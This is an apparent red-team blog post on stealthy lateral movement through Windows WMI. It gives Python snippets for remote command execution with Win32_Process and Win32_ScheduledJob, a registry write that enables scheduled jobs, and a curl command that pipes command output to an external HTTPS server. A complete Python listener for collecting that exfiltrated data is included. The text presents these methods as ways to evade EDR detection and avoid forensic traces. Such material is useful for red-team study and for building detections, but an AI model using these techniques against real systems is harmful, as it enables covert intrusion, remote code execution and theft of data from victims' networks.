Navigating Stealthy WMI Lateral Movement

Introduction

In this article, we’ll look at a Python script that uses Windows Management Instrumentation (WMI) to remotely control a target computer. The script makes use of COM to communicate with the WMI infrastructure and perform administrative tasks.

Using different classes, we will explore different approaches to execute shell commands and observe how each approach works in the background and how they look in the Event Viewer. All the scripts used in the article are published in our Github repository.

Win32_Process Class Overview

The Win32_Process WMI class represents a process on an operating system. It is the most straightforward way of executing a shell command via WMI.

The script starts by importing the WMI module, which provides a Python interface for interacting with the WMI service.

A WMI connection is established with the specified target computer, utilizing the provided authentication details (username and password).

c = wmi.WMI(computer=target_computer, user=username, password=password)

To execute the command, the script utilizes the Win32_Process class provided by WMI. The Create method of this class is called, with the CommandLine parameter set to the desired command.

process_id, result = c.Win32_Process.Create(CommandLine="cmd /c whoami")

Impacket’s version of Wmiexec uses this class; however, several articles state that the process relationship involving a parent process known as WMIPRVSE.EXE. and its child process CMD.EXE or POWERSHELL.EXE is a red flag. In order to avoid this behavior, we will use another class, which is mentioned below.

If you take a look at the Event Viewer, an Event with ID 4688 will be created. Analyzing this event will reveal the executed command:

Event 4688 showing the executed command

Win32_ScheduledJob Class Overview

Approaching code execution via ScheduledJob might be a better way, as it is not relying on port 139 and 445 (some antivirus software heavily monitors these ports). Instead, it drops the SMB connection function to use Win32_ScheduledJob class to execute commands.

It is worth noting that this class works by default on Windows versions under NT6 (Windows Server 2003 and prior). This is because the following registry should be created:

Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration 
Name: EnableAt 
Type: REG_DWORD
Value: 1

Fortunately, WMI provides a class called StdRegProv for interacting with the Windows Registry. With this in hand, we can do a variety of things – including retrieval, creation, deletion and modification of keys and values. We can use the following code to create the required registry key:

_ = registry.SetDWORDValue(
                hDefKey=0x80000002, # HKEY_LOCAL_MACHINE
                sSubKeyName=r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration",
                sValueName="EnableAt",
                uValue=1
            )

After the execution, we are able to see the newly created registry:

Registry “EnableAt” is created

We can now continue with creating the scheduled task. The following script calculates the start time for the scheduled job, which is set to one minute from the current time.

change_date_time = datetime.datetime.now() + datetime.timedelta(minutes=1)
begin_time = change_date_time.strftime('%Y%m%d%H%M%S.000000+100')

The script then utilizes the Win32_ScheduledJob class to create a scheduled job, specifying the command to execute and the start time.

job_id, result = c.Win32_ScheduledJob.Create(Command=“cmd /c ipconfig”, StartTime=begin_time)

Win32_ScheduledJob Limitations

While this technique might be much better and stealthier, the attacker may need to restart the target’s machine to make the setting effective (apply the changed registry).

Because Win32_ScheduledJob is based on the NetScheduleJobGetInfo Win32 API (which is no longer available for use as of Windows 8), you cannot use this class in conjunction with the Task Scheduler.

Exfiltrating the Data

WMI has limitations on parsing the command output as there is no Microsoft-supported way to receive the data, so attackers must find a workaround for this issue. The most popular exfiltration technique that most of the open-source projects use are by redirecting the command’s output in a text file on the remote host’s local ADMIN$ share. One great example is the impacket’s code.

However, generating a random-named text file on the ADMIN$ share is quite suspicious. A good simple solution would be to pipe the output on an HTTPS server. This way we avoid writing to the disk and we securely transmit the data in an encrypted HTTP server. This can be achieved by executing the following command:

cmd /Q /c <my command> | curl -X POST -k -H 'Content-Type: text/plain' --data-binary @- https://myhttpserver

A simple Python script is used to create a SSL-supported HTTP server:

import ssl
from http.server import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)

        # Decode the received data
        received_data = post_data.decode('utf-8')

        # Process the received data as needed
        print(f'[+] Received data:\n{received_data}')

        # Send a response back to the client
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        response_message = 'Data received successfully'
        self.wfile.write(response_message.encode('utf-8'))

def run_server():
    host = '0.0.0.0'
    port = 8080
    server_address = (host, port)

    # Create an SSL context
    ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    ssl_context.load_cert_chain(certfile='server.crt', keyfile='server.key')

    # Create the HTTPS server with the SSL context
    httpd = HTTPServer(server_address, RequestHandler)
    httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)

    print(f'Starting HTTPS server on {host}:{port}...')
    httpd.serve_forever()

if __name__ == '__main__':
    run_server()

Below you can see the tool in action against a target with a fully-updated Sophos EDR installed:

Command execution and data exfiltration in action

Conclusion

Win32_ScheduledJob is a better, stealthier way of performing lateral movement to the target; however, modifying the registry does require the target restart the machine. Also the Windows version has to be Windows 8 or lower (according to Microsoft).

On the other hand, Win32_Process works out of the box. But, as already discussed on the article, this method leads to IOCs such as CMD.EXE being spawned as a child process of WMIPRVSE.EXE

All the scripts used in the article are published in our Github repository.

References

https://github.com/XiaoliChan/wmiexec-RegOut
https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-scheduledjob
https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/